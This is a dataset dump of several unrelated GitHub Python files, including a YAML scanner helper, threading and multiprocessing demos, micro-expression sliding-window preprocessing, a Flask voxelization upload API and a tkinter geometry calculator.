block entry indicator?\n if ch == u'-' and self.check_block_entry():\n return self.fetch_block_entry()\n\n # Is it the key indicator?\n if ch == u'?' and self.check_key():\n return self.fetch_key()\n\n # Is it the value indicator?\n if ch == u':' and self.check_value():\n return self.fetch_value()\n\n # Is it an alias?\n #~ if ch == u'*':\n #~ return self.fetch_alias()\n\n # Is it an anchor?\n #~ if ch == u'&':\n #~ return self.fetch_anchor()\n\n # Is it a tag?\n if ch == u'!':\n return self.fetch_tag()\n\n # Is it a literal scalar?\n if ch == u'|' and not self.flow_level:\n return self.fetch_literal()\n\n # Is it a folded scalar?\n if ch == u'>' and not self.flow_level:\n return self.fetch_folded()\n\n # Is it a single quoted scalar?\n if ch == u'\\'':\n return self.fetch_single()\n\n # Is it a double quoted scalar?\n if ch == u'\\\"':\n return self.fetch_double()\n\n # It must be a plain scalar then.\n if self.check_plain():\n return self.fetch_plain()\n\n # No? It's an error. Let's produce a nice error message.\n raise ScannerError('while scanning for the next token', None,\n 'found character %r that cannot start any token'\n % ch.encode('utf-8'), self.get_mark())\n\n def _construct_mapping(loader, node):\n ''' Keep duplicates and order in mappings,\n uses a list of (name, val) tuple pairs instead.\n '''\n return MultiMap(loader.construct_pairs(node))\n\n# register it\nSafeOrdLoader.add_constructor(yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG,\n SafeOrdLoader._construct_mapping)\n\n\ndef get_output_filename(infile, ext='.html'):\n ''' Change extension of given filename. '''\n basename, _ = os.path.splitext(infile.name)\n return basename + ext\n\n\ndef tree_indent(elem, level=0, width=4):\n ''' Poor-man's pretty html printer\n http://effbot.org/zone/element-lib.htm#prettyprint\n '''\n spaces = width * ' '\n indent = '\\n' + (level * spaces)\n if len(elem):\n if elem.text:\n elem.text = elem.text.rstrip() + indent + spaces\n if not elem.text or not elem.text.strip():\n elem.text = indent + spaces # one level extra\n\n if elem.tail:\n elem.tail = elem.tail.rstrip() + indent\n if not elem.tail or not elem.tail.strip():\n elem.tail = indent\n\n for elem in elem:\n tree_indent(elem, level+1)\n\n if not elem.tail or not elem.tail.strip():\n elem.tail = indent\n else:\n if elem.tail:\n elem.tail = elem.tail.rstrip() + indent\n if level and (not elem.tail or not elem.tail.strip()):\n elem.tail = indent\n","repo_name":"mixmastamyk/yamlweb","sub_path":"yamlweb/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6325,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"8385355276","text":"#예제 1번\r\nimport threading\r\n\r\ndef execute(number):\r\n \"\"\"\r\n 쓰레드에 실행할 함수\r\n \"\"\"\r\n print(threading.current_thread().getName(),number)\r\n\r\nif __name__=='__main__':\r\n for i in range(1,8): # 1~7 실행\r\n my_thread = threading.Thread(target=execute, args=(i,))\r\n my_thread.start()\r\n","repo_name":"hacks0921/2020year","sub_path":"Thread(쓰레드).py","file_name":"Thread(쓰레드).py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35663781873","text":"import os\r\nimport pickle\r\nimport numpy as np\r\nimport pandas as pd\r\nimport argparse\r\nimport random\r\n\r\n\r\ndef window_data(start_frame, ann_df, video_name, ws, label_frequency):\r\n window_size = ws\r\n end_frame = start_frame + window_size\r\n\r\n label_one_win = list()\r\n box_one_win = list()\r\n window_one_win = [int(start_frame), video_name]\r\n # '0' for neg samples\r\n class_label = [0, 1, 2]\r\n # all samples without neg samples \r\n # class_label = [0, 1]\r\n\r\n for i in range(len(ann_df)):\r\n\r\n act_start = ann_df.startFrame.values[i]//label_frequency\r\n act_end = ann_df.endFrame.values[i]//label_frequency\r\n assert act_end > act_start\r\n overlap = min(end_frame, act_end) - max(start_frame, act_start)\r\n overlap_ration = overlap * 1.0 / (act_end - act_start)\r\n\r\n overlap_ratio_threshold = 0.9\r\n if overlap_ration > overlap_ratio_threshold:\r\n gt_start = max(start_frame, act_start) - start_frame\r\n gt_end = min(end_frame, act_end) - start_frame\r\n label_one_win.append(class_label.index(ann_df.type_idx.values[i]))\r\n box_one_win.append([gt_start, gt_end])\r\n\r\n box_one_win = np.array(box_one_win).astype('float32')\r\n label_one_win = np.array(label_one_win)\r\n return label_one_win, box_one_win, window_one_win\r\n\r\n\r\ndef sliding_window(ann_df, video_name, ws, label_frequency, train_sample, is_train, neg):\r\n window_size = ws\r\n video_ann_df = ann_df[ann_df.video == video_name]\r\n frame_count = video_ann_df.frame_num.values[0]//label_frequency\r\n if is_train:\r\n stride = int(window_size / (train_sample))\r\n else:\r\n stride = int(window_size / (2*train_sample))\r\n \r\n num_window = int(1.0*(frame_count + stride - window_size) / stride)\r\n windows_start = [i * stride for i in range(num_window)]\r\n if is_train and num_window == 0:\r\n windows_start = [0]\r\n if frame_count > window_size:\r\n windows_start.append(frame_count - window_size)\r\n\r\n label_one_video = list()\r\n box_one_video = list()\r\n window_one_video = list()\r\n for start in windows_start:\r\n if is_train:\r\n label_tmp, box_tmp, window_tmp = window_data(start, video_ann_df, video_name, ws, label_frequency)\r\n if len(label_tmp) > 0:\r\n label_one_video.append(label_tmp)\r\n box_one_video.append(box_tmp)\r\n window_one_video.append(window_tmp)\r\n else:\r\n window_one_video.append([int(start), video_name])\r\n \r\n # generate more neg samples\r\n if is_train and neg:\r\n num_pos = len(label_one_video)\r\n start_pos = [int(i[0]) for i in window_one_video]\r\n remain_windows_start = [i for i in windows_start[:-1] if i not in start_pos]\r\n number_neg = min(len(remain_windows_start), 3*num_pos)\r\n if remain_windows_start:\r\n # method 2\r\n # for i in range(num_pos):\r\n # num_tmp = random.randint(0, len(remain_windows_start)-1)\r\n # window_one_video.append([int(remain_windows_start[num_tmp]),video_name])\r\n # method 4-1 & 4-2\r\n # for i in range(len(remain_windows_start)):\r\n # num_tmp = i \r\n # window_one_video.append([int(remain_windows_start[num_tmp]), video_name])\r\n repeat_list = list()\r\n for i in range(number_neg):\r\n if number_neg==len(remain_windows_start):\r\n num_tmp = i \r\n window_one_video.append([int(remain_windows_start[num_tmp]), video_name])\r\n else:\r\n num_tmp = random.randint(0, len(remain_windows_start)-1)\r\n while num_tmp in repeat_list:\r\n num_tmp = random.randint(0, len(remain_windows_start)-1)\r\n window_one_video.append([int(remain_windows_start[num_tmp]),video_name])\r\n repeat_list.append(num_tmp)\r\n rnd_tmp = random.randint(0, 100)\r\n\r\n tmp_sss = os.path.basename(os.path.dirname(video_name)) [:4]\r\n try:\r\n tmp_sss = int(tmp_sss)\r\n if window_size==128:\r\n if 0 < rnd_tmp <= 55:\r\n fake_start = random.randint(0, ws-18*ws//128)\r\n fake_end= random.randint(fake_start+15*ws//128, min(ws, fake_start+50*ws//128))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n elif 56 < rnd_tmp <= 82:\r\n fake_start = random.randint(0, ws-54*ws//128)\r\n fake_end= random.randint(fake_start+50*ws//128, min(ws, fake_start+75*ws//128))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n else:\r\n fake_start = random.randint(0, ws-93*ws//128)\r\n fake_end= random.randint(fake_start+75*ws//128, min(ws, fake_start + ws))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n else:\r\n if 0 < rnd_tmp <= 52:\r\n fake_start = random.randint(0, ws-18*ws//window_size)\r\n fake_end= random.randint(fake_start+15*ws//window_size, min(ws, fake_start+50*ws//window_size))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n elif 53 < rnd_tmp <= 78:\r\n fake_start = random.randint(0, ws-54*ws//window_size)\r\n fake_end= random.randint(fake_start+50*ws//window_size, min(ws, fake_start+75*ws//window_size))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n elif 79 < rnd_tmp <= 91:\r\n fake_start = random.randint(0, ws-93*ws//window_size)\r\n fake_end= random.randint(fake_start+75*ws//window_size, min(ws, fake_start+116*ws//window_size))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n elif 92 < rnd_tmp <= 97:\r\n fake_start = random.randint(0, ws-155*ws//window_size)\r\n fake_end= random.randint(fake_start+116*ws//window_size, min(ws, fake_start+160*ws//window_size))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n else:\r\n fake_start = random.randint(0, ws-212*ws//window_size)\r\n fake_end= random.randint(fake_start+160*ws//window_size, min(ws, fake_start + ws))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n except:\r\n if tmp_sss != 'samm':\r\n if 0 < rnd_tmp <= 75:\r\n fake_start = random.randint(0, ws-18*ws//128)\r\n fake_end= random.randint(fake_start+12*ws//128, min(ws, fake_start+36*ws//128))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n elif 75 < rnd_tmp <= 94:\r\n fake_start = random.randint(0, ws-54*ws//128)\r\n fake_end= random.randint(fake_start+36*ws//128, min(ws, fake_start+62*ws//128))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n else:\r\n fake_start = random.randint(0, ws-93*ws//128)\r\n fake_end= random.randint(fake_start+62*ws//128, min(ws, fake_start + ws))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n else:\r\n if 0 < rnd_tmp <= 92:\r\n fake_start = random.randint(0, ws-18*ws//128)\r\n fake_end= random.randint(fake_start+13*ws//128, min(ws, fake_start+23*ws//128))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n elif 92 < rnd_tmp <= 97:\r\n fake_start = random.randint(0, ws-35*ws//128)\r\n fake_end= random.randint(fake_start+ 23*ws//128, min(ws, fake_start+64*ws//128))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n else:\r\n fake_start = random.randint(0, ws-96*ws//128)\r\n fake_end= random.randint(fake_start+ 64*ws//128, min(ws, fake_start+ws))\r\n box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n label_one_win = np.array([0])\r\n box_one_video.append(box_one_win)\r\n label_one_video.append(label_one_win)\r\n \r\n # for k in range(num_pos): \r\n # method 1\r\n # if ws > 128:\r\n # box_one_win = list()\r\n # label_one_win = list()\r\n # fake_start = random.randint(0, ws-18)\r\n # fake_end= random.randint(fake_start+8, ws)\r\n # # while (3 <= int(fake_end-fake_start) <= 117) == False:\r\n # # fake_start = random.randint(0, ws-18*ws/128)\r\n # # fake_end= random.randint(fake_start+8*ws/128, ws)\r\n # rest = fake_end\r\n # box_one_win.append([fake_start, fake_end])\r\n # label_one_win.append(0)\r\n # while rest + 8 > ws-18:\r\n # fake_start = random.randint(rest, ws-18)\r\n # fake_end= random.randint(fake_start+8, ws)\r\n # rest = fake_end\r\n # box_one_win.append([fake_start, fake_end])\r\n # label_one_win.append(0)\r\n # box_one_win = np.array(box_one_win).astype('float32')\r\n # label_one_win = np.array(label_one_win)\r\n # else:\r\n \r\n # method 2: this method is better than others\r\n # generate the fake length of clips\r\n # fake_start = random.randint(0, ws-18*ws//128)\r\n # fake_end= random.randint(fake_start+12*ws//128, min(ws, fake_start+32*ws//128))\r\n # box_one_win = np.array([[fake_start, fake_end]]).astype('float32')\r\n # label_one_win = np.array([0])\r\n # box_one_video.append(box_one_win)\r\n # label_one_video.append(label_one_win)\r\n\r\n # method 3: this method is worst\r\n # box_tmp_fake = list()\r\n # label_tmp_fake = list()\r\n # num_neg = random_num_times(1, 0.8, 1, 5)\r\n # start_tmp = list()\r\n # end_tmp = list()\r\n # proposal_clips = list()\r\n # for _ in range(num_neg):\r\n # if start_tmp:\r\n # for i in range(len(start_tmp)+1):\r\n # if i == 0 and start_tmp[i]>=15:\r\n # proposal_clips.append([1,start_tmp[i]])\r\n # elif i == len(start_tmp) and end_tmp[i-1]<=128-15:\r\n # proposal_clips.append([end_tmp[i-1],128])\r\n # elif 0=15 :\r\n # proposal_clips.append([end_tmp[i-1],start_tmp[i]])\r\n # if not proposal_clips:\r\n # break\r\n # else:\r\n # random_loc = random.randint(1,len(proposal_clips))\r\n # random_clip = proposal_clips[random_loc-1] \r\n # left_tmp = random_clip[0]\r\n # left_len = random_clip[1]-9*ws//128\r\n # right_len = random_clip[1]\r\n # else:\r\n # left_tmp = 1\r\n # left_len = ws-9*ws//128\r\n # right_len = ws\r\n # fake_start = random.randint(left_tmp, left_len)\r\n # fake_length = random_num_frame(16, 8, 40, 30, 8, 120)\r\n # fake_end = min(right_len, fake_start+fake_length *ws//128)\r\n # box_tmp_fake.append([fake_start, fake_end]) \r\n # label_tmp_fake.append(0) \r\n # start_tmp.append(fake_start)\r\n # end_tmp.append(fake_end)\r\n # start_tmp.sort()\r\n # end_tmp.sort() \r\n # box_fake = np.array(box_tmp_fake).astype('float32')\r\n # label_fake = np.array(label_tmp_fake)\r\n # box_one_video.append(box_fake)\r\n # label_one_video.append(label_fake)\r\n\r\n # method 4: it created in 5 November 2021\r\n # according to the distribution of all pos samples, generating negative samples in turn\r\n # all generated neg samples are remained sliding windows in method 4\r\n # the number of method 2 is based on number of pos samples\r\n\r\n return label_one_video, box_one_video, window_one_video\r\n\r\n\r\ndef random_num_frame(avg1, stdd1, avg2, stdd2, left, right):\r\n a = random.sample([random.gauss(avg1, stdd1), random.gauss(avg2, stdd2)],1)[0]\r\n while (left <= a <= right) == False:\r\n a = random.sample([random.gauss(avg1, stdd1), random.gauss(avg2, stdd2)],1)[0]\r\n return int(a)\r\n\r\ndef random_num_times(avg, stdd, left, right):\r\n a = random.gauss(avg, stdd)\r\n while (left <= a <= right) == False:\r\n a = a = random.gauss(avg, stdd)\r\n return int(a)\r\n\r\n\r\ndef video_process(ann_df, ws, label_frequency, train_sample=4, is_train=True, neg=True):\r\n # List(set()) operation to delete the repeated\r\n # Make sure the generated file in the same order\r\n video_name_list = list(set(ann_df.video.values[:].tolist()))\r\n video_name_list.sort()\r\n\r\n label = list()\r\n boxes = list()\r\n window = list()\r\n\r\n for video_name in video_name_list:\r\n label_tmp, box_tmp, window_tmp = sliding_window(ann_df, video_name, ws, label_frequency, train_sample, is_train, neg)\r\n if is_train and (len(label_tmp) > 0):\r\n label.extend(label_tmp)\r\n boxes.extend(box_tmp)\r\n window.extend(window_tmp)\r\n return label, boxes, window\r\n\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('-ann_path', type=str, default='./casme2_annotation.csv')\r\n parser.add_argument('-info_dir', type=str, default='./')\r\n parser.add_argument('-is_train', type=bool, default=True)\r\n parser.add_argument('-window_sliding', type=int, default=128)\r\n parser.add_argument('-frequency', type=int, default=1)\r\n args = parser.parse_args()\r\n\r\n ann_df = pd.read_csv(args.ann_path)\r\n gt_label, gt_box, gt_windows = video_process(ann_df, args.window_sliding, args.frequency, is_train=args.is_train)\r\n if args.is_train:\r\n with open(os.path.join(args.info_dir, 'gt_label.pkl'), 'wb') as f:\r\n pickle.dump(gt_label, f)\r\n with open(os.path.join(args.info_dir, 'gt_box.pkl'), 'wb') as f:\r\n pickle.dump(gt_box, f)\r\n with open(os.path.join(args.info_dir, 'window_info.log'), 'w') as f:\r\n f.writelines(\"%d, %s\\n\" % (gt_window[0], gt_window[1]) for gt_window in gt_windows)\r\n\r\n\r\n\r\n","repo_name":"williamlee91/LGSNet","sub_path":"get_sliding_windows.py","file_name":"get_sliding_windows.py","file_ext":"py","file_size_in_byte":15800,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"27478152229","text":"from multiprocessing import Process, Queue\nfrom multiprocessing.pool import Pool\nimport os\nimport time\nimport random\n\n\ndef run_proc(name):\n print('Run task %s (%s)' % (name, os.getpid()))\n start = time.time()\n time.sleep(random.random() * 3)\n end = time.time()\n print('task %s complete in %.2f s (%s)' % (name, end - start, os.getpid()))\n\n\ndef write(q):\n for c in ['A', 'B', 'C']:\n print('write %s pid=%s' % (c, os.getpid()))\n q.put(c)\n time.sleep(random.random() * 3)\n\n\ndef read(q):\n while True:\n c = q.get(True)\n print('read %s pid=%s' % (c, os.getpid()))\n\n\nif __name__ == '__main__':\n print('\\ntest multi process pool\\n')\n pool = Pool(4)\n for i in range(4):\n pool.apply_async(run_proc, ('child' + str(i),))\n pool.close()\n pool.join()\n print('all done!')\n\n print('\\ntest multi process communication\\n')\n q = Queue()\n pw = Process(target=write, args=(q,))\n pr = Process(target=read, args=(q,))\n pw.start()\n pr.start()\n pw.join()\n pr.terminate()\n print('end')\n","repo_name":"sky0014/python_study","sub_path":"multi_process.py","file_name":"multi_process.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"47949678998","text":"import cv2\r\nfrom cv2 import IMREAD_COLOR\r\nfrom cv2 import IMREAD_GRAYSCALE\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nim = cv2.imread('img_gray.png',IMREAD_GRAYSCALE)\r\n\r\n\r\n'''\r\n transformation type\r\n s => T{f[i,j]} => hs\r\n linear transformation g[i,j] = alpha*f[i,j] + beta\r\n if alpha = -1 and beta = 255\r\n the image will become negative\r\n alpha: corresponds to the contrast\r\n beta: corresponds to brightness\r\n'''\r\n\r\nim_contra = 4*im\r\n\r\nim_bright = im+50 \r\n\r\nim_neg = -1*im + 255\r\n\r\nplt.figure(figsize=(50,50))\r\n\r\nplt.subplot(4,1,1)\r\nplt.title('Contrast++')\r\nplt.imshow(im_contra,cmap='gray')\r\n\r\nplt.subplot(4,1,2)\r\nplt.title('Negative')\r\nplt.imshow(im_neg,cmap='gray')\r\n\r\nplt.subplot(4,1,3)\r\nplt.title('Original')\r\nplt.imshow(im,cmap='gray')\r\n\r\nplt.subplot(4,1,4)\r\nplt.title('Bright')\r\nplt.imshow(im,cmap='gray')\r\n\r\nplt.show()","repo_name":"zee-1/ComputerVision","sub_path":"linearTransf.py","file_name":"linearTransf.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16188396992","text":"# coding=utf-8\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.widgets import Button\nimport matplotlib.animation as animation\nfrom Emotion.FaceLocations.inspector import Inspector\n\n\nclass MultipleAnimation(Inspector):\n def __init__(self, emotion):\n Inspector.__init__(self, emotion, reset=False)\n self.scatters = []\n self.objects = []\n self.plot_sizes = None\n self.rgba_colors = None\n self.next_it = 0\n\n def set_navigate_buttons(self):\n \"\"\"\n Sets a button to add the next object to display it.\n \"\"\"\n Inspector.set_navigate_buttons(self)\n ax_add = plt.axes([0.1, 0.05, 0.1, 0.075])\n b_add = Button(ax_add, \"Add\")\n b_add.on_clicked(self.add_next)\n\n def add_next(self, event):\n self.next_it = (self.next_it + 1) % len(self.database)\n next_obj = self.database[self.next_it]\n if next_obj not in self.objects:\n self.objects.append(next_obj)\n rand_shift = np.random.random(3)\n rgba_colors = self.rgba_colors.copy()\n for interested_id in self.hot_ids:\n rgba_colors[interested_id, :-1] = rand_shift\n\n scat = plt.scatter(next_obj.norm_data[:, 0, 0],\n next_obj.norm_data[:, 0, 1],\n color=rgba_colors,\n s=self.plot_sizes)\n self.scatters.append(scat)\n title = self.ax.get_title()\n title += \", %s\" % next_obj.fname\n self.ax.set_title(title)\n print(\"Added %s.\" % next_obj.fname)\n\n def next_frame(self, frame):\n \"\"\"\n :param frame: frame ID to be displayed\n \"\"\"\n for obj_id in range(len(self.objects)):\n obj = self.objects[obj_id]\n obj_frame = frame % obj.frames\n self.scatters[obj_id].set_offsets(obj.norm_data[:, obj_frame, :])\n return []\n\n def define_plot_style(self):\n self.hot_ids = self.current_obj.get_ids(*self.labels[self.active_area])\n markers = self.current_obj.data.shape[0]\n sizes = np.ones(markers) * 30\n rgba_colors = np.zeros(shape=(markers, 4))\n for rgb in range(3):\n rgba_colors[:, rgb] = 0.5\n rgba_colors[:, 3] = 0.5\n for interested_id in self.hot_ids:\n sizes[interested_id] *= 2\n rgba_colors[interested_id, 1] = 0\n rgba_colors[interested_id, 2] = 1\n rgba_colors[interested_id, 3] = 1\n self.rgba_colors = rgba_colors\n self.plot_sizes = sizes\n\n def animate(self):\n \"\"\"\n Animates current emotion file.\n \"\"\"\n if self.scat is not None:\n self.scat.remove()\n self.ax.clear()\n self.ax.grid()\n\n self.define_plot_style()\n\n title = \"%s: %s\" % (self.current_obj.emotion, self.current_obj.fname)\n scat = plt.scatter(self.current_obj.norm_data[:, 0, 0],\n self.current_obj.norm_data[:, 0, 1],\n color=self.rgba_colors,\n s=self.plot_sizes)\n self.objects = [self.current_obj]\n self.scatters = [scat]\n self.ax.set_title(title)\n self.next_it = self.iterator\n\n anim = animation.FuncAnimation(self.fig,\n func=self.next_frame,\n frames=self.current_obj.frames,\n interval=1,\n blit=True)\n try:\n plt.draw()\n except AttributeError:\n pass\n\n\nif __name__ == \"__main__\":\n MultipleAnimation(u\"улыбка\").show()","repo_name":"dizcza/GesturesSpeech","sub_path":"Emotion/FaceLocations/visualizer.py","file_name":"visualizer.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41879382048","text":"# https://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=2502\nN=int(input())\ndp=[0] * (394)\nSLP=[list(map(int, input().split())) for _ in range(N)]\nfor s,l,p in SLP:\n for j in range(394):\n for k in range(s,l+1):\n if 0<=j+k<=393:\n dp[j+k] = max(dp[j+k], dp[j]+p)\nM=int(input())\nans = []\nfor _ in range(M):\n w=int(input())\n if dp[w] == 0:\n print(-1)\n exit()\n else:\n ans.append(dp[w])\nprint(*ans, sep=\"\\n\")","repo_name":"tokumaru-y/competitive_program_python","sub_path":"antBook/re_solve/200/161.py","file_name":"161.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29048617178","text":"from click import command\nfrom flask import Flask, request, jsonify, send_from_directory, Response, send_file\nfrom config import config\nfrom utils import *\nfrom Exceptions import *\nfrom flask_wtf.csrf import CSRFProtect\nfrom flask_cors import CORS, cross_origin\nimport uuid\nimport coloredlogs\nimport logging\nimport json\nimport ERROR_CODES\n\n# TODO: Implementar API KEY https://geekflare.com/es/securing-flask-api-with-jwt/\n\n\ndef create_app(enviroment):\n app = Flask(__name__)\n CORS(app)\n app.config.from_object(enviroment)\n return app\n\n\n# Logger\nlogger = logging.getLogger(__name__)\ncoloredlogs.install(level='DEBUG')\n\n# Configuración\nenviroment = config['DEVELOPMENT_CONFIG']\napp = create_app(enviroment)\n# TODO: No funciona session cookie\n# TODO: Comprobar CSRF\n# app.secret_key = \"secret_key\"\n# csrf = CSRFProtect(app)\n\n# Directorio de subida de archivos\n# if not os.path.exists(config['DIRECTORY_UPLOADED_FILE']):\n# os.makedirs(config['DIRECTORY_UPLOADED_FILE'])\n# TODO: Y si no existe el directorio?\nos.makedirs(getAbsolutePath(config['DIRECTORY_UPLOADED_FILE']), exist_ok=True)\nos.makedirs(getAbsolutePath(\n config['DIRECTORY_FILES_PROCESSED']), exist_ok=True)\nos.makedirs(getAbsolutePath(\n config['DIRECTORY_FILES_BAKED_TEXTURES']), exist_ok=True)\nos.makedirs(getAbsolutePath(\n config['DIRECTORY_MOSAICS_GENERATED']), exist_ok=True)\n\n\nif(config[\"REMOVE_DIRECTORIES\"]):\n for f in os.listdir(config['DIRECTORY_UPLOADED_FILE']):\n os.remove(getAbsolutePath(config['DIRECTORY_UPLOADED_FILE'], f))\n for f in os.listdir(config['DIRECTORY_FILES_PROCESSED']):\n os.remove(getAbsolutePath(config['DIRECTORY_FILES_PROCESSED'], f))\n for f in os.listdir(config['DIRECTORY_FILES_BAKED_TEXTURES']):\n os.remove(getAbsolutePath(config['DIRECTORY_FILES_BAKED_TEXTURES'], f))\n for f in os.listdir(config['DIRECTORY_MOSAICS_GENERATED']):\n os.remove(getAbsolutePath(config['DIRECTORY_MOSAICS_GENERATED'], f))\n\n# Manejo de errores\n# TODO: Cambiar codigo de vuelta\n\n\ndef invalid_api_usage(e):\n response = jsonify(e.to_dict())\n response.headers.add('Access-Control-Allow-Origin', '*')\n return response, 300\n\n\n# Registro de manejadores\napp.register_error_handler(InvalidAPIParameterException, invalid_api_usage)\n# app.register_error_handler(InvalidResolutionRangeException, invalid_api_usage)\n# app.register_error_handler(InvalidResolutionTypeException, invalid_api_usage)\n# app.register_error_handler(NotAllowedFileExtensionException, invalid_api_usage)\n# app.register_error_handler(MissingArgumentsException, invalid_api_usage)\n\n# Método de apoyo para enviar respuesta\n# def sendResponse(exc):\n# response = jsonify({'message': \"OK\" })\n# response.headers.add('Access-Control-Allow-Origin', '*')\n# return response, exc.code\n\n\n@ app.route('/api/uploadFile', methods=['POST'])\ndef receive_file():\n # PARÁMETROS DE ENTRADA\n # ==============================================================\n # Resolucion para la voxelización\n try:\n resolution = request.form[config['API_PARAM_RESOLUTION']]\n except KeyError as e:\n resolution = None\n # Usar eliminar elementos inconexos\n try:\n removeDisconnectedElements = request.form[config['API_PARAM_USE_REMOVE_DISCONNECTED']]\n except KeyError as e:\n removeDisconnectedElements = None\n\n missingArguments = []\n if(not resolution):\n missingArguments.append(config['API_PARAM_RESOLUTION'])\n if(not removeDisconnectedElements):\n missingArguments.append(config['API_PARAM_USE_REMOVE_DISCONNECTED'])\n if(not request.files or not config['API_PARAM_MAIN_FILE'] in request.files):\n missingArguments.append(config['API_PARAM_MAIN_FILE'])\n\n if(len(missingArguments) > 0):\n raise InvalidAPIParameterException(\n ERROR_CODES.MISSING_PARAMETERS_ERROR_013, missingArguments)\n\n try:\n resolution = int(resolution)\n except ValueError:\n raise InvalidAPIParameterException(\n ERROR_CODES.INVALID_RESOLUTION_TYPE_ERROR_011)\n\n if(resolution not in config['RESOLUTION_RANGE_ALLOWED']):\n raise InvalidAPIParameterException(\n ERROR_CODES.INVALID_RESOLUTION_RANGE_ERROR_010)\n\n if(removeDisconnectedElements not in config['USE_REMOVE_DISCONNECTED_ELEMENTS_ALLOWED']):\n raise InvalidAPIParameterException(\n ERROR_CODES.INVALID_REMOVE_DISCONNECTED_ELEMENTS_TYPE_ERROR_014)\n\n # Analizar el fichero de entrada\n file = checkFileUploaded(request.files)\n # ==============================================================\n # Guardar archivo y voxelizar figura\n returned_file_name = None\n if file:\n # Nombre y extension del archivo\n ext = file.filename.split('.')[1]\n UUID = str(uuid.uuid1())\n file_name = UUID + '.' + ext\n\n # Guardar en archivos subidos\n path_save = getAbsolutePath(\n config[\"DIRECTORY_UPLOADED_FILE\"], file_name)\n file.save(path_save)\n\n # Voxelization with textures Algorithm and Mosaic generation\n uvs_info = Voxelization(UUID, file_name, resolution,\n removeDisconnectedElements)\n\n returned_file_name = UUID + \".\" + \\\n config[\"RETURNED_ALLOW_FILE_EXTENSION\"]\n\n textureBlocks = Mosaic(uvs_info, UUID)\n\n applyTexture(returned_file_name, UUID)\n\n comando = createMinecraftCommand(textureBlocks)\n # print(commando.replace(\"'\", '\"'))\n\n # TODO: Send OK, archivo, comando...\n filePath = getAbsolutePath(\n config['DIRECTORY_FILES_PROCESSED'], returned_file_name)\n f = open(filePath, \"r\")\n s_f = f.read()\n f.close()\n return {\"command\": comando, \"file\": s_f}\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"davidominguezapata/VoxelizationAPP","sub_path":"App/Backend/src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5757,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"40700685830","text":"from tkinter import *\r\n\r\naplikasi = Tk()\r\naplikasi.title(\"bangunann\")\r\n\r\nL = Label(aplikasi, text=\"Bangun Geometri\", font=('Arial Black', 20))\r\nL.grid(row=0, column=0, sticky=\"W\", columnspan=3)\r\n\r\n\r\nL22 = Label(aplikasi, text=\"Piramid adalah piramida dengan alas persegi yang membutuhkan 2 parameter yaitu alas dan tinggi segitiga\")\r\nL22.grid(row=1, column=0, sticky=\"W\", columnspan=10)\r\n\r\n\r\nL2 = Label(aplikasi, text=\"Alas Segitiga : \")\r\nL2.grid(row=2, column=0, sticky=\"W\", columnspan=3)\r\n\r\n\r\n\r\nalas = StringVar()\r\nL5 = Entry(aplikasi, textvariable=alas)\r\nL5.grid(row=2, column=1, sticky=\"W\")\r\n\r\n######----------------------------------------\r\n\r\nL3 = Label(aplikasi, text=\"Tinggi Segitiga : \")\r\nL3.grid(row=3, column=0, sticky=\"W\", columnspan=3)\r\n\r\n\r\n\r\ntinggi = StringVar()\r\nL6 = Entry(aplikasi, textvariable=tinggi)\r\nL6.grid(row=3, column=1, sticky=\"W\")\r\n\r\n####--------------------------------------------\r\n\r\ndef hitung():\r\n segitiga = (float(alas.get()) * float(tinggi.get())) * 4\r\n alasnya = float(alas.get()) * float(alas.get())\r\n hasil = segitiga + alasnya\r\n Lhasil.config(text=hasil)\r\n###----------tombol-----------\r\nb1 = Button(aplikasi, text=\"Hitung Luas\", command=hitung)\r\nb1.grid(row=4, column=0)\r\n\r\n\r\nLJhasil = Label(aplikasi, text=\"Hasil : \")\r\nLJhasil.grid(row=4, column=1, sticky=\"W\", columnspan=3)\r\n\r\n\r\nLhasil = Label(aplikasi, text=\"\")\r\nLhasil.grid(row=4, column=2, sticky=\"W\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\naplikasi.mainloop()\r\n\r\n","repo_name":"L200190185/Praktikum-Algopro","sub_path":"Praktikum 11/keg 3.py","file_name":"keg 